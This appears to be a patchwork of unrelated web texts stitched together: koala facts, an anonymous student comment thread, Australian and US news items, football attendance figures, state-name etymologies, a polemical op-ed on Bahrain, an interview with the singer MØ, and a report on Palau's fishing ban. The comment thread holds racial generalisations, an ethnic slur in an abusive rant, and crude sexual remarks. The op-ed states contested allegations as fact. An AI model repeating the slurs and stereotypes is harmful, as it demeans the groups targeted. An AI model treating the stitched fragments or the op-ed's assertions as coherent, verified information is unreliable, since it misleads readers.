Native to Australia, koalas have a very low metabolic rate requiring them to conserve energy and to sleep between 18 and 20 hours a day. They spend about three of their five active hours eating a diet that consists entirely of eucalyptus leaves. Koalas consume 2 ½ pounds of leaves per day and rarely drink water due to the moisture found in eucalyptus leaves.
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From: (Anonymous) Date: December 6th, 2014 09:20 am (UTC) (Link) ljs new layout trips me out so much Reply ) ( Thread
From: (Anonymous) Date: December 6th, 2014 10:55 am (UTC) (Link) IM ON DA FIRST PAGE OH EM GEE. WAIT. WAHTS THE POINT OF THIS WHEN WE HAVE SUCH A BEAUTIFUL YAK?? Reply ) ( Thread
From: (Anonymous) Date: December 6th, 2014 11:04 am (UTC) (Link) fuk yikyak and all those stupid apps that you can only view from mobile
also fuck apps only for iPhone Expand) Reply ) ( Parent ) ( Thread
From: (Anonymous) Date: December 6th, 2014 11:08 am (UTC) (Link) Having to manually go to a different page to post anon while being logged in to avoid "The Bug" is going to get old really fast.
LJ Y U DO DIS TO US Reply ) ( Thread
From: (Anonymous) Date: December 6th, 2014 12:34 pm (UTC) (Link) I was going to originally post this on the UC Berkeley Confessions page, but I figured I'd post it here to allow anonymous commenting and to start a discussion. I know that this is an unpopular opinion.
Tl;dr: White people are entitled. I wish white society would learn humility.
I believe that white people ruined modern-day society and are incredibly entitled. I'm not hating on individual white people; rather, I dislike the culture and ideals of white society. I do understand that I'm making generalizations, and of course this doesn't apply to every individual, but I've noticed that this tends to be true more often than not.
I have two main points: that the western mentality has created a path of destruction, and that most white people have internalized entitlement. They are linked.
Many white people have this subtle air of entitledness and privilege. Throughout history, if something hasn't gone their way, they tend to default to war and/or raping and pillaging. I'm not saying white people are the only ones to do this, but I feel like their culture does it more than others - or at the very least, it's highlighted more in the history we learn in America: the crusades, the Inquisition, colonialization, and what we do today in America to other countries who don't agree with our "ideal" beliefs of capitalism and democracy.
They have destroyed so many other societies in pursuit of furthering their own. They turned Asia's fireworks into gunpowder - from a beautiful sight into a tool of destruction. They colonized and enslaved Africa because slaves brought profit. They wiped out most Native Americans, half intentionally and half inadvertently, out of fear, hate, and greed. None of those societies or cultures were a threat to the Europeans, and many were happy about coexisting together: Asia with its Silk Road trade and Native Americans with the original Thanksgiving and peace treaties . I understand that within each region or country that there may have been issues, but each society was focusing on solving their own issues internally and the best they could, without interfering with other societies. But the Europeans were greedy, destructive, and selfish, in furthering their own agenda that interfered with the running of other, separate societies.
Modern-day volunteering is also a huge example of this entitlement, especially when white people go on "humanitarian trips". The fact that you're able to afford and to have enough time to donate and try to help people you believe are worse off than you is demonstrating what you have that they don't - basically advertising to everyone that you have more than enough to spare. Just by having all of that is a form of privilege. While it's nice to have privilege, it clouds your thinking, making you believe that conditions are easier than they are for others. I understand that I'm using similar reasoning here myself, and I'm definitely not trying to trivialize others' problems, but the fact that you even have what you have so much more than everyone else is a huge privilege and contributes a ton to clouding the way you see the world through rose-colored glasses. It's a modern-day version of the "White Man's Burden" (http://historymatters.gmu.edu/d/5478/), which talks about white people wanting to help people they feel are inferior. Societies can often manage on their own. There is no reason to step in and try to enforce your own beliefs about how to live on them.
(continued)
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From: (Anonymous) Date: December 6th, 2014 12:35 pm (UTC) (Link) My other point is about the environment white people grow up in.
I feel like most white people don't know what it means to constantly be questioned about how you should improve yourself from your parents. Parents are the closest you'll find to being the most influential people in your life, from the day you are born until the day they pass away. To grow up in a culture where everything you do can be and should be better, is often difficult, and we Asian children resent it and feel upset about this while we're young. I hate to use the concept here, but privilege means that your parents accept you without any major changes to your personality or habits. This is exemplified in Meghan Trainor's "All About That Bass":
"Yeah, my momma she told me don't worry about your size
She says, boys they like a little more booty to hold at night"
I can't speak for other families, but at least in mine, that kind of talk wouldn't happen. There's always something to improve about any aspect of yourself, and improvement is always good.
In the beginning, being criticized for pretty much everything you do can be very hard. But you learn that you can use that criticism to make yourself better. It's there to make you better, not to attack you as a person.
I once saw a (white) guy leaning back in his chair with his legs wide apart and his head resting on his arms behind his head. Seeing that posture made me a little upset that that definitely would have been criticized by my parents for being improper and disrespectful because it doesn't look attentive or respectful. Growing up with that kind of mindset, I was struck by how irreverent the pose was to me and also felt it was kind of disrespectful to everyone else in the conversation (who were sitting up straight). I feel like I might be blowing it a little out of proportion, but when you grow up being criticized, you naturally learn to try to be your best self in every way possible, down to the way you sit and present yourself, and the fact that in that situation, it felt like that guy did not, felt like I was being disrespected.
Many people who were raised in white society also seem to have less self-discipline in terms of managing themselves mentally and emotionally. I believe that procrastination isn't an idea we hear much outside of the western world. White people also appear less tolerant to pain in many cases - white parents tend to have a tendency to run to their children when something is wrong, and comfort them every step of the way, even when the children are already doing fine on their own. They support their children wholeheartedly (which is a nice notion), but being lauded with praise doesn't necessarily contribute to growth. I know this doesn't apply to all white families, but in those with loving parents, I tend to see this fairly often. Even if a white person didn't grow up with loving parents, they have a tendency to break down rather than stand up and try their best to change. I believe this is also why America tends to default to "fight my army" when things don't go the way they want, rather than a legitimate discussion.
Meanwhile, Asian parents are always there to push their children further. "You're getting fat", "I know this isn't your best", "What you did was very rude", and in general, tiger parenting, builds character. Compliments are often much rarer in Asian households, and (constructive, usually) criticism is much more commonplace. When Asian children are young, they learn that it's hard to gain approval, and as a result, they work towards making themselves better people and understand that pain is just part of growing, even if we hate it every step of the day. We learn to that sometimes, we really will feel like we have no one there for us - so we need to learn to support ourselves. We learn to deal with pain, because everyone knows life is fucking hard. We pick ourselves back up and go right back to trying to be better because we learned early on that just sitting there crying won't help us.
(continued)
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From: (Anonymous) Date: December 6th, 2014 03:36 pm (UTC) Need a hug? Or a cup or tea? (Link) Dead week can be a stressful time...if you ever need a hug or want a warm cup of tea, send me an email and I'll make that happen... Good luck!
teabearhugs@gmail.com
Reply ) ( Thread
From: (Anonymous) Date: December 8th, 2014 02:02 am (UTC) Re: Need a hug? Or a cup or tea? (Link) Dead week can be a stressful time...if you ever need a hug or want a warm tea bag from my sac, send me an email and I'll make that happen... Good luck!
teabaghugs@gmail.com
Reply ) ( Parent ) ( Thread
From: (Anonymous) Date: December 6th, 2014 06:25 pm (UTC) (Link) FOUND BLUEYEDBOY ON TINDER Reply ) ( Thread
From: (Anonymous) Date: December 6th, 2014 08:11 pm (UTC) (Link) Any girls wanna give me a blowjob for some chocolate? Reply ) ( Thread
From: (Anonymous) Date: December 6th, 2014 11:59 pm (UTC) Jon Snow is a targaryean (Link) Jon Snow is betrayed by the Night's Watch and dies. Jon Snow is a targaryean. Aegon Targaryean is still alive! Reply ) ( Thread
From: (Anonymous) Date: December 7th, 2014 12:58 am (UTC) Re: Jon Snow is a targaryean (Link) Hey look, George RR Martin is on anoncon! Expand) Reply ) ( Parent ) ( Thread
From: (Anonymous) Date: December 7th, 2014 01:19 am (UTC) (Link) sheltered chick tried masturbating for the first time today.
not as great as it's hyped up to be, or maybe i'm just doing it wrong. :/ Reply ) ( Thread
From: (Anonymous) Date: December 7th, 2014 01:30 am (UTC) (Link) You probably are just not in tune with what you like yet. It's different for everyone. Keep trying! Look into kegels, that might help.
If all else fails then I'll come help lol. Reply ) ( Parent ) ( Thread
From: (Anonymous) Date: December 7th, 2014 02:17 am (UTC) anoncon is DEAD (Link) it's just a circlejerk of the same 5-7 people every year.
FUCK baboona
FUCK blueeyedfuckboi
FUCK tard
FUCK rumpkin
FUCK cool and SPIC
foxes are dumb as fuck
but most of all fuck that trouble bitch and everyone who sucks her e-cock
oh yeah and fuck that durian shithead in the chatroom durians are shit Reply ) ( Thread
From: (Anonymous) Date: December 7th, 2014 02:22 am (UTC) Re: anoncon is DEAD (Link) haters gonna hate Reply ) ( Parent ) ( Thread
Updated
A shark-spotting surveillance drone will be used to boost beach patrols in Western Australia's South West in a three-month trial set to start next month.
Fisheries Minister Joe Francis said the $88,000 trial, part of the Government's shark mitigation strategy, would allow Surf Life Saving WA to purchase and operate several drones along the Perth metropolitan coast and South West.
The drone will be equipped with high definition cameras which will stream live vision back to surf lifesaving staff.
"Drone technology has advanced significantly in recent years and it makes sense to test if it can be used effectively to make our beaches safer," Mr Francis said.
"It's important any responsible government adopt evolving technologies to help keep people safe.
"It will be flown in different areas over different events over the next three months and we will assess the successfulness of that."
Mr Francis said the drones would send images in real time which would be monitored and then beaches would be alerted if sharks were present.
The drones would not be flown all day every day, they will be used by lifesaver patrols as necessary at various beaches in Perth and the South West.
SLSWA Lifesaving services manager Peter Scott said the drones would add another layer of shark protection strategies including beach and helicopter patrols.
"We know there's not one single thing that mitigates totally against sharks, it's a broad range of strategies," Mr Scott said.
The drone will be used at surf carnivals and other community events at local beaches from November to January 2017.
Mr Francis said future funding for the program would depend on the result of the trial.
Shark-spotting drones have also been trialled in New South Wales.
'Shark shields would protect surfers'
Opposition leader Mark McGowan said drones were worth trialling, but is pushing for a $200,000 trial to subsidise 1,000 shark shields, an electronic device that can be mounted on a surfboard that emits a pulse that repels sharks.
Mr McGowan said 12 of the past 14 people taken by sharks in WA waters were surfing or diving.
"We need to provide assistance for those people so that they can take precautions for their own safety," he said.
The idea of shark shield subsidies came from Rick Gerring, whose brother Ben was killed by a shark earlier this year.
"I've spoken to surfers and divers and a lot of them aren't aware of these products," Mr Gerring said.
He said research had proven the device worked and it was important to get that information out to surfers.
"Hopefully we can get people out there to trial these units and try to dispel any myths about them, more people will take them up and we can protect more surfers and divers."
Emergency Services Minister Joe Francis said he would not support the subsidisation of shark shields for individuals.
"When it comes to subsidising a commercial, individually-worn safety product, my view would be that that is not the role of government," he said.
"You should not be paying tax to subsidise the individual safety product for different sports."
Mr Francis said it was a "shallow offer" but Mr McGowan said the Government already subsidised various sports.
Topics: shark, science-and-technology, wa
After a bit of investigating, she found her Snapchat username connected to several nude photos of herself posted on Reddit.
She had sent the photos to her ex-boyfriend while they were dating, according to a complaint filed in Ramsey County District Court. Thomas Evans Conway, 28, was charged Aug. 1 with one count of nonconsensual dissemination of private sexual images, also known as “revenge porn.”
Conway and the woman dated on and off for several years, but they broke up in January, she told authorities. He posted the photos June 18 and 19 under the username “Umphreak2222,” which he uses for social media and gaming, according to the complaint. The woman said he was the only person she had sent the photos to, according to the complaint.
When the Snapchat friend requests started coming through, she asked one of them how he found her username. He told her on Reddit, and that’s when she searched her username and found links to several topless photos of her on Imgur, the victim told authorities. All of them had been posted by Umphreak2222.
A few days later, the ex-boyfriend told her in Facebook messages: “I need to have a serious conversation with you. … I haven’t been acting appropriate or in sober states of mind recently. I have gone past unforgivable so I can’t ask that,” the complaint said.
The Reddit account and photos were deleted within a few days, but the victim had screenshots of them to show officers. Her face was clearly identifiable, the complaint said, and she confirmed she had not consented to them being posted.
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Ramsey County sheriff names Dino Guerin as emergency preparedness coordinator Conway, who lives in Minneapolis, was one of the first to be charged in Ramsey County under the state’s new “revenge porn” laws that came into effect last year. In the privacy of their relationship, the woman had a “reasonable expectation of privacy” that Conway violated, according to the complaint.
Conway was arrested earlier this week and released on his own recognizance.
The warning from Puerto Rico's governor in the wake of Hurricane Maria was stark: act now, or risk a humanitarian disaster.
Those outside the capital were still struggling without power, while locals reported clean water and medicines were also scarce.
But many in the US - of which Puerto Rico is a territory - are questioning whether their president cares about the 3.5 million American citizens whose lives have been turned upside down.
A quick glance at Donald Trump's Twitter feed over the weekend - arguably the president's preferred method of communication - gave no hint of the unfolding humanitarian crisis.
Instead, his attention was firmly focused on whether or not American footballers knelt or stood during the national anthem.
It didn't go unnoticed.
The president finally acknowledged the disaster on Monday evening - although his response appeared to link Puerto Rico's hurricane woes with its debt crisis.
"Really not sure how to read this other than Trump taking this opportunity to blame Puerto Rico for its misfortune..." tweeted McKay Coppins, a writer for The Atlantic.
Meanwhile, the Toronto Star's Washington correspondent Daniel Dale compared the tweets to "a paramedic gazing at a screaming man trapped in a wrecked car and saying: 'You're quite overweight.'"
Many others were also left with a bitter taste in their mouth.
But is there any merit to the claim Mr Trump cares less about what is happening in Puerto Rico than he did when hurricanes struck Texas and Florida?
The White House denies it has abandoned Puerto Rico.
Spokeswoman Sarah Huckabee Sanders told reporters on Monday: "We've done unprecedented movement in terms of federal funding to provide for the people of Puerto Rico and others that have been impacted [by] these storms.
"We'll continue to do so and continue to do everything that we possibly can under the federal government to provide assistance."
Her words have been backed up by politicians on the island, and Jenniffer Gonzalez, who, as resident commissioner, is Puerto Rico's non-voting representative in Washington.
She praised the administration's response, telling the Associated Press news agency: "This is the first time we get this type of federal co-ordination."
But still, it is Mr Trump's personal reaction which seems to have angered social media users in the States, including singer Marc Anthony, who was born in the US but whose parents are Puerto Rican.
His ex-wife, the singer Jennifer Lopez, also of Puerto Rican descent, has donated $1m to the relief efforts already, according to the Guardian.
Image copyright Twitter/@MarcAnthony
And when compared to Mr Trump's response to the two hurricanes which preceded Maria, there does appear to be an imbalance.
Mr Trump sent at least one tweet out a day about Texas for a week after Hurricane Harvey barrelled into its coastline on 26 August, causing great damage and leaving at least 47 people dead.
By 2 September, he had asked Congress for $7.8bn (£6bn) as an initial amount to help rebuild the area.
Mr Trump also visited Texas twice within a week.
In the days after Hurricane Irma hit Florida on 10 September, Mr Trump sent a flurry of tweets - although not as many as with Texas - and visited the area within five days.
Mr Trump is due to arrive in Puerto Rico on 3 October, almost a fortnight after the hurricane hit. It is, he told reporters on Tuesday, the first day he can go without disrupting the recovery effort.
Old Trafford has been the fullest stadium in the Premier League this season.
Manchester United's ground has had an average attendance of 75,329 for league games this season according to the Premier League's official figures.
That's an average of 99.6 per cent of the stadium's capacity, a bigger ratio than any other side in the league.
That equates to an average of just 306 empty seats per game.
Manchester City have had an average occupancy of 97.2%, with an average of 45,380 fans in the Etihad stadium.
Average attendance at City and United's grounds Manchester City 97.2% Manchester United 99.6% Premier League
And how does that stack up in terms of numbers...?
Average attendance at City and United's grounds Manchester City 45380 Manchester United 75329 Premier League
Aston Villa have the league's worst record in terms of filling their ground.
Villa Park has been just 77.7% full on average this season.
Attendances have averaged 33,161 for league games this season, 9,521 short of capacity.
Sunderland have the next lowest ratio at 88.6%, with an average of 5,550 empty seats a game.
(Image: Getty)
Burnley come next (89.5%) followed by Hull (92.1%), Southampton (94.1%) and West Brom (94.8%).
After United, Arsenal have the next best occupancy record, with the Emirates operating at 99.5% of capacity.
Chelsea have the next highest occupancy rates at 99.4%.
Queens Park Rangers have the fourth highest average occupancy rate at 99%, while Swansea, West Ham and Liverpool are tied in fifth place with an average of 98.6%.
Alabama Alabama is the name of an Indian tribe native to the state. This tribal name may have come from the word albina, which means "campsite" in their own language, or from the words alba amo, which mean "clearing brush."
Alaska Alaxsxix, which is a name from the Aleut language. This name means "place the sea crashes against."
Arizona Arizonac, which is a Spanish corruption of a local Indian name-- possibly the Tohono O'odham word alishonag, which means "little spring."
Arkansas Acansa, which is the name of a Quapaw Indian town. Literally the name means "southern place."
Connecticut Quinnitukqut, which is the Mohegan Indian name for the Connecticut River. Literally the name means "long river."
Illinois Illiniwek, which is the tribal name of the Illini tribe. Literally the name means "best people."
Iowa Ayuhwa, which is one of the tribal names of the Ioway Indian tribe. Literally the name means "sleepy ones."
Kansas Kansa, which is the name of the Kansa Indian tribe. Literally the name means "south" and is a shortened form of their own tribal name for themselves, People of the South Wind.
Kentucky Kentake, which is an Iroquois placename meaning "meadow land."
Massachusetts Massachuset, which is a Wampanoag Indian name meaning "by the range of hills."
Michigan Mshigem or Misigami, which are the native names for Lake Michigan in the Potawatomi and Ojibwe languages. Both names mean "great lake."
Minnesota Mnisota, which is the native name of the Minnesota River in the Dakota Sioux language. Literally the name means "cloudy water."
Mississippi Misiziibi, which is the native name of the Mississippi River in the Ojibwe language. Ojibwe is not actually a native language of Mississippi state-- the language is spoken near the source of the Mississippi River in Minnesota, which is where the river got its name, and the state was later named after the river. Literally the name means "great river."
Missouri Missouria is the name of an Indian tribe native to the state. Their tribal name came from the word mihsoori, which means "big canoe people."
Nebraska Nibthaska or Nibrathka, which are the native names for the Platte River in the Omaha-Ponca and Otoe languages. Both names mean "flat river."
New Mexico Of course, New Mexico was named after the country of Mexico, but since Mexico itself is named after an American Indian word, the state of New Mexico is also! Mexico is a placename from the Aztec Indian language (Nahuatl.) It literally means "city of the Aztecs."
North Dakota Dakota, which is the tribal name of the Dakota Sioux Indians. Literally the name means "the allies."
Ohio Ohiyo, which is the name of the Ohio River in the Seneca Indian language. Literally the name means "it is beautiful."
Oklahoma Okla Homma, which means "Red People" in the Choctaw Indian language.
Oregon This was a name given by early American settlers to the Columbia River. It was probably a Native American name which the settlers brought with them from another state, since it does not resemble names from the Native American languages of Oregon. It may have meant "beautiful river" in an eastern Algonquian language.
South Dakota Dakota, which is the tribal name of the Dakota Sioux Indians. Literally the name means "the allies."
Tennessee Tanasi, which was the name of a Cherokee Indian town in the region. Although "Tanasi" was recorded as the Cherokee name of this town, it does not specifically mean anything in the Cherokee language (just as many English place names are not specific words.) It may have been a shortened form of a longer Cherokee word or phrase, or it may have been named after a Cherokee person.
Texas Taysha, which means "friend" in the Caddo Indian language.
Utah Ute is the name of an Indian tribe native to the state. This tribal name may have come from the word nuutsiu, which means "the people" in their own language.
The Manama Dialogue held in Bahrain at the weekend – attended by US Defense Secretary Chuck Hagel and Britain’s Foreign Secretary William Hague, among other senior Western officials – is presented with gravitas and self-importance as a forum to «earnestly» discuss «security issues» in the Middle East and beyond.
In reality, the event – held in the Bahraini capital, Manama – is nothing but a talking shop of fake concepts, hollow posturing and boilerplate verbosity. A talking shop, complete with garish window dressing and manikins, to hide the gruesome nature of the real Western political business that goes on in the basement of the oil-rich region.
Like the general position of Washington and London towards the Persian Gulf Arab regimes, the Manama Dialogue is all about selling propaganda and deception to cover the most brutal facts of life, sold with the guise of genial, virtuous vendors.
One of these brutal facts is that the Western governments are fully complicit in the repression of their Persian Arab clients against their own people. Another brutal fact is that it is Western governments and their Persian Arab clients who are fuelling insecurity and violence across the Middle East, as in Syria, Iraq and Lebanon, by covertly supporting extremist regime-change mercenaries, such as Al Nusra and the Islamic State of Iraq and Levant, both of which are linked to Al Qaeda.
Yet another brutal fact is that the Persian Gulf is one of the most militarized and insecure locations in the world, partly because of Western support for illicitly nuclear-armed Israel, and partly because of reckless weapons sales by America and Britain to the tinderbox region.
Nevertheless, senior representatives of the war-dealing Western states have the audacity to address a conference in the region on «peace and security».
Like a parallel universe, speakers and delegates were ensconced in a plush hotel by their Bahraini hosts to hold forth on democracy, rule of law and terrorism. Meanwhile, a few kilometres away from the venue, the Western-backed Bahraini regime was deploying its riot police to club and gas peaceful pro-democracy supporters. The protesters were trying to exercise their universal right to freedom of peaceful assembly and expression – the same human rights that Washington and London repeatedly declare they are champion retailers of.
These rights have been systematically denied to Bahraini civilians for the past three years (and before) by the US and British-backed absolute monarchy in Bahrain. Since February 2011, when the pro-democracy movement rekindled in the Persian Gulf kingdom, regime forces have killed nearly 100 civilians, some of whom died under torture during detention; hundreds have been maimed with grotesque injuries, such as the loss of eyes and limbs from shot gun pellets; infants and elderly have been poisoned in their homes from the deliberate, excessive use of tear gas; and thousands of families have been plunged into misery because fathers and sons have been locked up in jails without a semblance of due legal process. All this barbarity is done with the tacit support of Washington and London, and with the shameful indifference of the Western news media.
For a tiny population of only 600,000 native Bahrainis (an expatriate foreign worker population is of the same size) the toll of brutality and suffering inflicted by the Khalifa regime has been immense. And in this fierce assault on the mainly Shia population, the Bahraini rulers have been fully assisted by Saudi Arabia, which sent troops into the neighbouring island back in March 2011 to crush the pro-democracy demonstrations. Saudi troops have remained in Bahrain ever since – albeit covertly, by donning Bahraini uniforms. Washington and London are fully apprised of the situation. In fact, it was the US and Britain that gave the green light to the House of Saud to embark on the crushing of protests in Bahrain, just as the Saudi rulers have been doing in their own Eastern Province and other parts of that oil-rich kingdom.
It is instructive to compare and contrast what is happening in the Ukraine and the official Western response. The protests in Kiev have evidently been driven by a determined minority, using violent and organized subversion, and calling for the overthrow of the elected authorities. This is not the exercise of international human rights, as in Bahrain; in the case of the Ukraine, it is a call to sedition.
Furthermore, the agitating groups in the Ukraine, such as the Fatherland Party and the neo-fascist Freedom Party, are known to have well-established logistical links to foreign agencies that are committed to fomenting regime change in targeted nations. These agencies include the American CIA and the benign-sounding National Endowment for Democracy. Certainly, the methodical tactics of disruption deployed recently against government buildings in Kiev strongly imply a covert military input…
To upbraid the Ukrainian state for responding with a heavy-hand in the face of this wanton subversion against its sovereign authority, as Western governments have charged, is at best naive and at worst blatant propaganda to distort the real situation.
Apparently, innocent civilian bystanders were caught up in the melee and incurred injuries. There were, however, no deaths, and Ukrainian Prime Minister Mykola Azarov later issued a public apology for police conduct. Since the height of the commotion a week ago, the demonstrations in the Ukrainian capital have subsided. This pattern again implies that the protests and public were manipulated for an ulterior agenda – an agenda that was not merely about expressing dissent against the government’s EU rejection, but rather was more sinister in scope, namely to destabilize the state.
The contrast with Bahrain could hardly be more lucid. Here the «authorities» are an unelected regime comprised largely of one family – the al Khalifas, headed by a self-appointed king, Hamad bin Issa al Khalifa. His hereditary successor will be his eldest son, Crown Prince Salman. The Bahraini regime rules by absolute decree with the guise of a consultative «parliament» that is «elected» through a heavily gerrymandered process.
The Bahraini regime and its foreign supporters – Washington, London and Saudi Arabia – have claimed that the largely peaceful pro-democracy protests are manipulated by foreign agents. It is claimed that these agents include Shia Iran and the Lebanese resistance movement, Hezbollah. The US and British governments do not reiterate this too often or loudly because they know full well that the accusation is an utter figment of imagination. There is not an iota of evidence for the involvement of Iran, Hezbollah or any other foreign agency in the Bahraini demonstrations. These protests have been sustained for nearly three years simply by the civilian population’s own desire to have the right to democratically elect a government, rather than being lorded over by a corrupt and venal crony family racket.
Unlike the Ukraine, Bahrain is a simple and straightforward case of democracy being brutally denied to a civilian population that has remained peaceful despite relentless provocation from an unelected regime.
The double standards and hypocrisy of the Western governments and the mainstream news media as shown by the differing response to events in the Ukraine and Bahrain is glaring. A short-lived bid to sow chaos in the Ukraine by a provable foreign-backed subversion against an elected government is given the highest profile by Western governments and media as «a noble bid for democracy against an autocratic regime». Whereas in Bahrain, a sustained pro-democracy movement by unarmed, peaceful civilians against a brutal, unelected autocrat is, well, simply ignored by the West.
Indeed, Bahrain is not merely ignored by the West. It is indulged and tacitly backed to the hilt by Washington and London. The attendance of such prominent figures as Chuck Hagel and William Hague at the Manama Dialogue in Bahrain at the weekend – during which they spouted platitudes about security, democracy and rule of law – is the US and British government’s way of reassuring the Bahraini and Saudi regimes of their ongoing support to crush democracy.
Meanwhile, Chuck Hagel announced during the weekend forum that the US has no intention of scaling back its military presence (read: arms sales) in the Persian Gulf despite the recent diplomatic detente with Iran. «Diplomacy, must be backed up with military power,» Hagel told delegates. The Pentagon chief also disclosed that the US was going ahead with the sale of 15,000 anti-tank missiles to Saudi Arabia worth $1 billion. These missiles will probably end up in the hands of Al Qaeda militants waging a war of terror against Syria for the Western-backed objective of regime change in that country. Ironically, and ludicrously, the British Foreign Secretary William Hague warned delegates that «extremists» operating in Syria (with the covert support of the US, Britain and Saudi Arabia among others) present a grave security threat to the Middle East region and Europe.
Outside the Manama conference, where peaceful protesters were having their heads cracked open by Bahraini riot police, one banner held up by the crowd read: «Why do Western governments not support calls for democracy in Bahrain?»
A graduate of Rangers' Academy, Burke broke into the first team at Ibrox aged just 18 and made an instant impact by scoring on his debut during a 5-0 win over Kilmarnock in March 2002.
The midfielder spent seven years in Glasgow and gained experience of football at the highest level after playing in Champions League matches against teams such as Manchester United, Porto and Inter Milan.
Always one to make an impression on his debut, Burke was at it again in May 2006 as he received his first call-up to the Scotland squad and wasted no time in making his presence felt as he notched two goals in a 5-0 win over Bulgaria.
Following his departure from Ibrox, the Glaswegian signed a deal with Championship side Cardiff City and went on to make 123 outings and score 16 goals for the Bluebirds during a two-and-a-half year stay in the Welsh capital before his switch to Birmingham.
A highly-rated and talented winger, Burke has been a popular at each of his three clubs and will be hoping to continue that trend as he makes the move to Trentside.
Hello to you MØ. Where are you now?
I'm in LA finishing a couple of songs for the album and just to have some meetings. Today I'm going to a session to write a new song -- every songwriter and producer is here so you might as well try and write a song (laughs).
We're going to get to the second album in a bit, but today marks a special day because you've just chucked out a new EP, When I Was Young. No build-up, no announcements, just BAM here are six new songs. That's a nice way of doing it. Why now though?
I've always wanted to do that thing where you just do a surprise release. Also, for two years I've been releasing singles or features with other artists, and that's been fun and part of a process, but honestly I've been longing to put out the music that wasn't necessarily meant for radio.
The first track Roots sounds like old, pre-Lean On MØ. Was that a conscious decision, to open with a song like that?
Yeah. I wrote it in London and I remember having that feeling of 'wow, it's a new era and my life has changed so much'. I was scared of the future but also excited. The lyrics are a reflection of that; of burning your old life and going into a new era.
Do you relate to that even more now you've had proper success?
Yeah, it's funny, it's the same feeling that I have now, and I can still relate to that song so much, but it's definitely gone up a level.
The title track and Turn My Heart To Stone both feature brass, while there are actual guitars on the Yeah Yeah Yeahs-esque Runaway. Was it exciting experimenting a bit with new sounds?
I think in general lately I've been obsessed with live instruments. After the whole Lean On thing I felt like every time I'd do a session there'd be all these cool elements you'd hear on the radio, with all these drops and explosions, and while I love that stuff, for the EP I really wanted to try and do something a bit different.
Why are these six songs grouped together?
They all have a bit of the old MØ and the new MØ – whatever that is – and there was nostalgia in there too. I wanted to show the other side of the songs I like to make. I felt like I needed this before I could go all in on a big album campaign. It's about completing the circle, almost like a ritual.
When we spoke in 2016 you said it was much harder making the second album than the first, which I assume is still true. Why is that?
(Sighs) Everything changed after Lean On. In a good way, of course, but I think that's definitely stalled the process a little bit. I can't blame it all on that though because I remember even before Lean On happened I was like 'woah, second album, shit fuck arrggghhh!'. It must have something to do with my own perfectionism and purity about how I feel the album should be. So many people have opinions and try to guide you, and everyone has the best intentions, but it makes it harder to cut through the noise and be like 'wow, this is what I really want to do'. I need to be brave enough to do that. I'm such a pleaser – I want everyone around me to be happy – so it took a while for me to get to a point where I could say 'no, I need to be happy with everything that I put out'. I want it to be right.
One thing that can happen with sudden success is people expect you to compromise who you are as an artist. Have you ever felt pressure to do that?
I would be so sad if I had to do that. It would be the worst. I've had moments of thinking 'okay, I need to compromise a bit so I can fit into a more mainstream whatever' but every time I try and do that I just think fuck this, this is not fucking me! I'm not happy trying to pretend I'm something I'm not. It's such a horrible feeling to not be honest to who you are. I want to be myself otherwise what's the point. You do develop as a musician and as a human, and I have changed a lot, but the core of who I was back then is still the core of who I am now.
How has your 2017 been overall?
Yeah, wow...I mean, it's been a year of a lot of changes for me. I expanded my management and all of a sudden I had loads of hands working with me on this project. I think also this is year I've finally gotten out of the Lean On bubble, you know. This is the first year where I can focus more on my own thing for real.
You also cut your hair off, more importantly.
I did. More and more, yeah. I started at the shoulders and then a bit shorter and now it's a proper George Michael haircut.
Quite Princess Diana.
Yeah. I'm so happy about that (laughs).
Back to 2017. It can be hard to focus on the good things when the year in general has been so shit, can't it?
Yeah, it's true. I think maybe two or three times a day I have a conversation with someone about how fucked up everything is. I do sometimes feel like it's hard to celebrate the good things during a time when things are so fucked up, but on the other hand it can become this thing where it's like 'well the world is probably going to end, so we might as well celebrate'.
True.
But also don't try and trick yourself into thinking 'oh things are totally fine' because things are definitely fucked up.
Did you make an new year's resolutions at the start of the year?
Yes. I actually did a little list. One was not to cancel any shows and I've kept up to that. I think. Almost. [She's postponed her UK tour until next year, but that's not the same thing]. And the other was to not eat as much meat and I've been good with that too actually.
Mine was to read a book a month. I've read two books this year...
Well, at least you read two books! I've only read one this year and I'm only halfway through the second.
What's been your favourite album of 2017?
This sucks because I can never remember whenever someone asks me. This sucks. Fuck. I'll get back to you*. I've got to say I've become one of those people who only listens to a couple of songs and then I get distracted.
This is why no one makes albums! You are the problem!
I know!! It fucking sucks. FUCK!
Updated
Sorry, this video has expired Video: Palau president declares nation to become marine sanctuary (ABC News)
Palau's President Tommy Remengesau Jr. has declared the Pacific nation will become a marine sanctuary, where no commercial fishing will take place.
Mr Remengesau has told a UN oceans conference Palau's 200 nautical mile Exclusive Economic Zone will be a "100 per cent marine sanctuary", and commercial operations will be banned within the Pacific nation's territorial waters.
"We have no choice - the ocean is our way of life," he said.
"It's our livelihood, it's our culture, it's our economy - I always say the economy is our environment and the environment is our economy."
"You may ask why, why are you doing this? It makes every sense for our sustainability as a people, as an island nation, and as a community."
Palau currently has commercial fishing contracts with Japan, Taiwan and several private companies, which will be allowed to expire.
Mr Remengesau says locals and tourists will continue to be able to fish, but no commercial scale operations will take place.
"I may not be the best fisherman, but I am a fisherman," he said.
"I can tell you that in just my generation I've seen stocks of fish dwindle down, I've seen the sizes of fish taken become more smaller.
"This is something that is far more than the economical loss of revenues for companies or other countries - you're talking about a livelihood that's really going to be decimated if we don't take the responsible action."
Map: Palau's 200 nautical mile Exclusive Economic Zone
The marine sanctuary follows the declaration of a shark sanctuary in Palau in 2009.
Shark sanctuaries have since been declared in several other countries, including the Maldives, Honduras, Marshall Islands and French Polynesia.
Mr Remengesau says a dead shark is worth several hundred dollars, but a live shark is worth $1.9 million in tourism during its life span.
He says his country will promote scuba diving, snorkelling and eco-tourism as an alternative income to commercial fishing.
"We're not just closing our waters and throwing away the key," he said.
"We're closing our waters because we will do our part of making sure that there's healthy stocks of fish in Palau that can migrate to other places, and that there are other options to grow the economy.
Sorry, this video has expired Video: Palau to use drones to deter illegal fishing (ABC News)
"These are important ways to make a living and at the same time preserve the pristine environment that we have been blessed with in Palau."
Enforcement of the commercial fishing ban is expected to be a challenge, as the country only has one patrol boat to cover its economic zone which is roughly the size of France.
Last year it trialled unmanned drones, and is also looking for other technology partners to help enforce the ban.
Sustainable Development Goal
Palau is also urging the United Nations to adopt a new Sustainable Development Goal to protect the world's oceans.
The Sustainable Development Goals (SDG) are a follow-up to the Millennium Development Goals, which pledged countries to reduce poverty and improve health and environmental protection by 2015.
Stuart Beck, Ambassador of the Republic of Palau for Oceans and Seas, says the proposal for a 'stand alone' goal has three parts.
